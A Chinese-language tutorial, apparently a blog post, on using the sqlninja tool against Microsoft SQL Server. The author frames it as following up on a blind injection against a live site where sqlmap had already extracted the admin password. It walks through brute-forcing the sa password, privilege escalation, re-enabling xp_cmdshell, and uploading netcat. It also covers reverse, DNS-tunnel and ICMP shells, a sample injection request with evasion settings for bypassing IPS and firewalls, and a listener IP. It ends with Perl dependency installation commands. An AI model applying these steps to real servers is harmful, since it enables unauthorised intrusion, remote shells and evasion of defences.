在sql注入方面我一直尊sqlmap爲神,最近碰到一個mssql盲注,雖然成功用sqlmap跑出了管理員密碼,但是死活找不到網站的後臺,所以想試一下sqlninja
sqlninja是一款用perl寫的一個專門針對Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja沒有將精力用在跑數據庫上,而是側重於獲得一個shell。
sqlninja的優點如下
一個專門針對Microsoft SQL Server的sql注入工具 可找到遠程SQL服務器的標誌和特徵(版本、用戶執行的查詢、用戶特權、xp_cmdshell的可用性、身份驗證模式等) “sa”口令的強力*** 如果找到口令後,就將特權提升到“sa” 如果原始的xp_cmdshell被禁用後,就創建一個定製的xp_cmdshell。 使用純粹的ASCII GET/POST請求來上載netcat.exe程序(以及其它任何可執行的程序),因此並不需要FTP連接。 爲了找到目標網絡的防火牆所允許的端口,可以實施針對目標SQL 服務器的TCP/UDP端口掃描。 逃避技術,這是爲了使注入式代碼“模糊”不清,並且混淆/繞過基於簽名的IPS和應用層防火牆。 採用“盲目執行”***模式,在其它模式失效時,可以用於發佈命令並執行診斷。 在sqlninja生成的SQL代碼上,執行的是自動化的URL編碼,這使得用戶可以更精細地控制漏洞利用的字符串。 如果得到權限爲sa,可以結合msf進一步對目標主機進行***。 |
首先看一下sqlninja的原文幫助
# ./sqlninja -h Unknown option: h Usage: ./sqlninja -m <mode> : Required. Available modes are: t/test - test whether the injection is working f/fingerprint - fingerprint user, xp_cmdshellandmore b/bruteforce - bruteforce sa account e/escalation - add user to sysadmin server role x/resurrectxp -tryto recreate xp_cmdshell u/upload - upload a .scr file s/dirshell - start a direct shell k/backscan - lookforan open outbound port r/revshell - start a reverse shell d/dnstunnel - attempt a dns tunneled shell i/icmpshell - start a reverse ICMP shell c/sqlcmd - issue a'blind'OS command m/metasploit - wrapper to Metasploit stagers -f <file> : configuration file (default: sqlninja.conf) -p <password> : sa password -w <wordlist> : wordlist tousein bruteforce mode (dictionary method only) -g : generate debug scriptandexit(only valid in upload mode) -v : verbose output -d <mode> : activate debug 1 -printeach injected command 2 -printeach raw HTTP request 3 -printeach raw HTTP response all - all of the above ...see sqlninja-howto.htmlfordetails |
sqlninja的參數很少,比較容易理解
-m #指定***模式,有以下幾個 t/test #測試連接是否是注入點 f/fingerprint #指紋識別,判斷用戶,數據庫, xp_cmdshell是否能用等等 b/bruteforce #暴力破解sa密碼,可以-w指定字典,也可以不使用字典,這樣sqlninja就會自己窮舉 e/escalation #提權用,必須用-p指定sa的password,成功就會把當前數據庫用戶加入到sa組裏面 x/resurrectxp #嘗試恢復xp_cmdshelli u/upload #使用get和post上傳二進制文件,-p可以指定sa的password,-g表示只生成上傳文件,但並不上傳 s/dirshell #獲得目標主機的shell k/backscan #查看開放的目標端口 r/revshell #反彈回一個shell,和dirshell相反 d/dnstunnel #指定使用dns作爲傳輸通道,可用-p指定sa的password,爲什麼有這個模式。。因爲可能服務器連icmp都禁止。。同樣,想要使用這個模式得先用upload模式上傳dnstun.exe i/icmpshell #當dirshell和revshell都失敗的情況下,可以用這個模式把shell藏在icmp裏,但是先要上傳icmpsh.exe(在upload模式裏) c/sqlcmd #以上方法都失敗之後,可以用他執行簡單的cmd命令,可惜的是沒回顯 m/metasploit #使用meterpreter作爲shell -f <file> #指定配置文件,sqlninja沒有類似sqlmap的"-u"參數,注入網址是寫在配置文件裏的,默認是sqlninja.conf 在-f下面又有以下參數 0 - Database version (2000/2005) //檢測當前數據庫版本 1 - Database user //當前數據庫用戶 2 - Database user rights //當前數據庫用戶權限 3 - Whether xp_cmdshell is working //檢查xp_cmdshell是否可以用 4 - Whether mixedorWindows-only authentication is used //是否windows本地系統權限 a - All of the above //以上所有選項 h -Printthis menu //顯示當前幫助菜單 q -exit //退出 -p #sa賬戶密碼 |
sqlninja.conf示例文件
# GET EXAMPLE: --httprequest_start-- GET http://www.victim.com/page.asp?vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah HTTP/1.0 Host: www.victim.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded # Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx # Authorization: Basic yyyyyyyyyyyyyyyyyyyyy Connection: close --httprequest_end-- ..... lhost = 165.118.155.176(自己主機的IP) # Interface to sniff when in backscan mode device = eth0 # Evasion techniques to be used. Possible choices are: # 1 - Query hex-encoding # 2 - Commentsasseparators # 3 - Randomcase # 4 - Random URI encoding # All techniques can be combined, so the following is legal: # evasion = 1234 # However, keep in mind that using too many techniques at once leads to very # long queries, that might create problems when using GET. Default: no evasion # evasion = 12 # Path to metasploit executable. Only neededifmsfpayloadand # msfcli are not already in the path msfpath = /opt/metasploit |
題外話:
由於sqlninja加載了衆多的第三方模塊,所以要先安裝所需的模塊
由於一個個編譯太麻煩了, 所以打算使用cpanm, cpanm可以方便的安裝perl的第三方模塊
先安裝cpanm
root@ecglobal1:~# wget --no-check-certificate http://bit.ly/cpanm root@ecglobal1:~# mv cpanm /usr/local/bin root@ecglobal1:~#chmoda+x cpanm |
安裝NetPacket模塊
root@ecglobal1:~# cpanm NetPacket |
安裝NetPcap模塊
root@ecglobal1:/opt# apt-get install libpcap-dev libnids-dev libnet1-dev root@ecglobal1:/opt# wget http://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-Pcap-0.14.tar.gz root@ecglobal1:/opt# tar -zxvf Net-Pcap-0.14.tar.gz root@ecglobal1:/opt# cd Net-Pcap* root@ecglobal1:/opt# perl Makefile.PL root@ecglobal1:/opt# make root@ecglobal1:/opt# make install |
安裝Net-DNS
root@ecglobal1:/opt# wget http://search.cpan.org/CPAN/authors/id/N/NL/NLNETLABS/Net-DNS-0.72.tar.gz root@ecglobal1:/opt# tar -zxvf Net* root@ecglobal1:/opt# cd Net-DNS* root@ecglobal1:/opt/Net-DNS-0.72# perl Makefile.PL root@ecglobal1:/opt/Net-DNS-0.72# make root@ecglobal1:/opt/Net-DNS-0.72# make install |
安裝Net-RawIP
root@ecglobal1:/opt# wget http://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz root@ecglobal1:/opt# tar -zxvf Net-RawIP* root@ecglobal1:/opt# cd Net-RawIP* root@ecglobal1:/opt# perl Makefile.PL root@ecglobal1:/opt# make root@ecglobal1:/opt# make install |